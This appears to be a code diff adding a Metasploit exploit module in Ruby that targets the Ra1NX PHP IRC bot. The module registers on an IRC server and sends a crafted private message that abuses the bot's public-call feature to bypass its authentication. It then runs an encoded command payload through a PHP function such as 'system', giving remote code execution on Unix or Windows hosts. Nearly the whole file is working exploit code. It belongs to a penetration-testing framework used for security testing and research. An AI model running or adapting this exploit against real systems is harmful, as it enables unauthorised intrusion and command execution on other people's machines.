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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = GreatRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Tcp |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module allows remote command execution on the PHP IRC bot Ra1NX by |
| 20 | + using the public call feature in private message to covertly bypass the |
| 21 | + authentication system. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + ['OSVDB', '91663'], |
| 31 | + ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'], |
| 32 | + ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'], |
| 33 | + ['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b'] |
| 34 | + ], |
| 35 | + 'Platform' => [ 'unix', 'win'], |
| 36 | + 'Arch' => ARCH_CMD, |
| 37 | + 'Payload' => |
| 38 | + { |
| 39 | + 'Space' => 344, |
| 40 | + 'BadChars' => '', |
| 41 | + 'DisableNops' => true, |
| 42 | + 'Compat' => |
| 43 | + { |
| 44 | + 'PayloadType' => 'cmd' |
| 45 | + } |
| 46 | + }, |
| 47 | + 'Targets' => |
| 48 | + [ |
| 49 | + ['Ra1NX / Unix', { 'Platform' => 'unix' } ], |
| 50 | + ['Ra1NX / Windows', { 'Platform' => 'win' } ] |
| 51 | + ], |
| 52 | + 'Privileged' => false, |
| 53 | + 'DisclosureDate' => 'Mar 24 2013', |
| 54 | + 'DefaultTarget' => 0)) |
| 55 | + |
| 56 | + register_options( |
| 57 | + [ |
| 58 | + Opt::RPORT(6667), |
| 59 | + OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), |
| 60 | + OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), |
| 61 | + OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']), |
| 62 | + OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system']) |
| 63 | + ], self.class) |
| 64 | + end |
| 65 | + |
| 66 | + def connect_irc |
| 67 | + print_status("#{rhost}:#{rport} - Connecting to IRC server...") |
| 68 | + connect |
| 69 | + |
| 70 | + data = "" |
| 71 | + begin |
| 72 | + read_data = sock.get_once(-1, 1) |
| 73 | + while not read_data.nil? |
| 74 | + data << read_data |
| 75 | + read_data = sock.get_once(-1, 1) |
| 76 | + end |
| 77 | + rescue EOFError |
| 78 | + end |
| 79 | + |
| 80 | + if data and data =~ /020.*wait/ |
| 81 | + print_status("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...") |
| 82 | + select(nil, nil, nil, 3) |
| 83 | + end |
| 84 | + end |
| 85 | + |
| 86 | + def check |
| 87 | + connect_irc |
| 88 | + |
| 89 | + response = register(sock) |
| 90 | + if response =~ /463/ or response =~ /464/ |
| 91 | + print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") |
| 92 | + return Exploit::CheckCode::Unknown |
| 93 | + end |
| 94 | + |
| 95 | + confirm_string = rand_text_alpha(8) |
| 96 | + response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n") |
| 97 | + |
| 98 | + quit(sock) |
| 99 | + disconnect |
| 100 | + |
| 101 | + if response =~ /#{confirm_string}/ |
| 102 | + return Exploit::CheckCode::Vulnerable |
| 103 | + else |
| 104 | + return Exploit::CheckCode::Safe |
| 105 | + end |
| 106 | + end |
| 107 | + |
| 108 | + def send_msg(sock, data) |
| 109 | + sock.put(data) |
| 110 | + data = "" |
| 111 | + begin |
| 112 | + read_data = sock.get_once(-1, 1) |
| 113 | + while not read_data.nil? |
| 114 | + data << read_data |
| 115 | + read_data = sock.get_once(-1, 1) |
| 116 | + end |
| 117 | + rescue EOFError |
| 118 | + end |
| 119 | + data |
| 120 | + end |
| 121 | + |
| 122 | + def register(sock) |
| 123 | + msg = "" |
| 124 | + |
| 125 | + if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? |
| 126 | + msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" |
| 127 | + end |
| 128 | + |
| 129 | + if datastore['NICK'].length > 9 |
| 130 | + nick = rand_text_alpha(9) |
| 131 | + print_error("The nick is longer than 9 characters, using #{nick}") |
| 132 | + else |
| 133 | + nick = datastore['NICK'] |
| 134 | + end |
| 135 | + |
| 136 | + msg << "NICK #{nick}\r\n" |
| 137 | + msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" |
| 138 | + |
| 139 | + response = send_msg(sock,msg) |
| 140 | + return response |
| 141 | + end |
| 142 | + |
| 143 | + def ra1nx_command(sock) |
| 144 | + encoded = payload.encoded |
| 145 | + command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n" |
| 146 | + response = send_msg(sock, command_msg) |
| 147 | + return response |
| 148 | + end |
| 149 | + |
| 150 | + def quit(sock) |
| 151 | + quit_msg = "QUIT :bye bye\r\n" |
| 152 | + sock.put(quit_msg) |
| 153 | + end |
| 154 | + |
| 155 | + def exploit |
| 156 | + connect_irc |
| 157 | + |
| 158 | + print_status("#{rhost}:#{rport} - Registering with the IRC Server...") |
| 159 | + response = register(sock) |
| 160 | + if response =~ /463/ or response =~ /464/ |
| 161 | + print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") |
| 162 | + return |
| 163 | + end |
| 164 | + |
| 165 | + print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...") |
| 166 | + ra1nx_command(sock) |
| 167 | + |
| 168 | + quit(sock) |
| 169 | + disconnect |
| 170 | + end |
| 171 | +end |
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